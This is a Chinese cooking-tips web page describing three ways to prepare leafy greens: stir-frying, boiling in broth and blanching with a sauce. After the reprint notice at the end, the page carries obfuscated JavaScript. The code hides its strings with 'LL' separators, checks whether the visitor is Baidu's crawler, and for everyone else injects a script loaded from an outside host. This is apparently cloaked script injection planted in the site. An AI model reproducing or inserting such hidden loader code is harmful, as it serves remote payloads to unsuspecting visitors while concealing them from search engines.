當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

這樣吃青菜營養(yǎng)又好吃

2017-04-07 09:28:05  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:先燒半鍋水(如果有雞湯、肉湯也可以用,水不要太多,蔬菜能沒入就好),加入兩匙香油??梢园聪埠眉尤胂阈亮?,比如幾?;ń坊驇琢0缀?。沸騰后加入特別容易煮的青菜。

這樣吃青菜營養(yǎng)又好吃

這樣吃青菜營養(yǎng)又好吃

這樣吃青菜營養(yǎng)又好吃

大部分人喜歡吃青菜,是因?yàn)樗鼔蚯宓?,里面的營養(yǎng)成分也豐富。但是,有很多人在炒青菜時(shí)加入大勺的油,這就違背了清淡的原則,到底如何才能把青菜做得清淡又好吃呢?

方法一:炒食

鍋中放2匙油,加入自己喜好的香辛料,如蔥姜蒜等。香辛料下鍋用中小火,稍微煸一分鐘,讓香氣溶入油中。然后轉(zhuǎn)大火,立刻加入蔬菜翻炒,通常也就炒兩三分鐘,快熟時(shí)加入鹽,如果喜歡的話,起鍋時(shí)關(guān)火,立刻加一小勺生抽醬油翻勻,可以起到勾邊提香的效果。

方法二:煮食

先燒半鍋水(如果有雞湯、肉湯也可以用,水不要太多,蔬菜能沒入就好),加入兩匙香油??梢园聪埠眉尤胂阈亮?,比如幾粒花椒或幾粒白胡椒。沸騰后加入特別容易煮的青菜,比如茼蒿、雞毛菜、嫩莧菜之類。煮兩三分鐘,最后關(guān)火調(diào)味,按口味加入鹽和雞精即可。我覺得有些蔬菜這樣做已經(jīng)足夠好吃,有上湯蔬菜的感覺,柔軟可口。特別是炒的時(shí)候容易老的蔬菜,用這種烹調(diào)方法特別好。

方法三:白灼

這就跟白灼蝦的做法一樣。先燒一鍋水,燒開后撒入一勺油和一勺鹽,把蔬菜洗凈,分批放進(jìn)滾沸的水里,蓋上蓋子燜大約半分鐘。再次滾沸后立刻撈出,攤在大盤中晾晾。在鍋中加一匙油,按喜好炒香調(diào)料(如蔥姜蒜等),加入兩勺水,再加鮮味醬油或豉油兩勺,馬上淋在蔬菜上即可。也可以直接加醬油或鹽,加醋和香油來拌。按喜好可以加入胡椒粉、辣椒油、雞精、熟芝麻等來增加風(fēng)味。這種方法簡便快速,菜色鮮亮,脆嫩爽口,青菜的營養(yǎng)也不會(huì)流失。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}